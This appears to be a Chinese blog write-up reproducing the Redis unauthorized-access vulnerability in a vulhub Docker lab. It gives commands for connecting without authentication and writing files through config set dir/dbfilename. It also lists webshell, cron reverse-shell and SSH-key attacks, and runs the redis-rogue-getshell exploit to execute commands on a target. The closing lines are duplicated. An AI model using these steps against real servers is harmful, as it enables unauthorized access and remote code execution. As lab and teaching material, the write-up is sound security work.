Redis未授权访问漏洞复现

Redis未授权访问漏洞复现

Redis 介绍:

Redis 是非关系型数据库系统,没有库表列的逻辑结构,仅仅以键值对的方式存储数据。

Redis 数据库经常用于Web 应用的缓存。

Redis 可以与文件系统进行交互。

Redis 监听TCP/6379。

漏洞复现:

启动漏洞环境:

sudo docker-compose up -d

Redis未授权访问漏洞复现_第1张图片

redis-cli -h 127.0.0.1 # redis数据库连接redis的客户端,127.0.0.1 表示连接本机

Redis未授权访问漏洞复现_第2张图片

我们发现直接进来了,说明存在未授权访问漏洞。

info #查看服务器信息

Redis未授权访问漏洞复现_第3张图片

redis 是以键值对的方式存储数据的:

set name GEHUi # name为键(key),GEHUI为值(value)
get name #获取name的值

Redis未授权访问漏洞复现_第4张图片

condig set dir /tmp/ #设定目录
config set dbfilename gehui.txt #设定数据库文件名为gehui.txt
save #将数据库的内容存储在/tmp/gehui.txt中

Redis未授权访问漏洞复现_第5张图片

sudo docker exec -it 780fea38003b /bin/bash  #登录到redis容器中

image-20230901212424058

在容器中查看有没有gehui.txt文件

Redis未授权访问漏洞复现_第6张图片

我们查看到有gehui.txt文件,并且有我们写入的name和GEHUI,说明我们登录进redis数据库,能够读并且写文件,说明存在未授权访问漏洞。如果一个服务器开了redis数据库,那么就会造成数据库信息内容泄露(脱库)。

Redis 未授权访问

读取数据库内容 读写系统文件 执行系统命令
数据泄露 直接写WebShell
计划任务反弹Shell
SSH免密登录
redis-rogue-getshell

克隆this script 脚本 到本地,下载时需要挂代理。

proxychains git clone https://github.com/vulhub/redis-rogue-getshell.git 

Redis未授权访问漏洞复现_第7张图片

如何使用:

cd /home/kali/tools/redis-rogue-getshell/RedisModulesSDK/
make

Redis未授权访问漏洞复现_第8张图片

#执行id命令:
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"

Redis未授权访问漏洞复现_第9张图片

#执行whoami命令
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "whoami"

Redis未授权访问漏洞复现_第10张图片

像上面这样我们就可以对未授权访问漏洞进行利用了。

如何验证这个未授权访问漏洞:

这里要用到一个工具:未授权访问漏洞验证工具

)]

像上面这样我们就可以对未授权访问漏洞进行利用了。

如何验证这个未授权访问漏洞:

这里推荐一个工具:未授权访问漏洞验证工具

你可能感兴趣的:(漏洞复现,redis,数据库,缓存,安全,网络安全)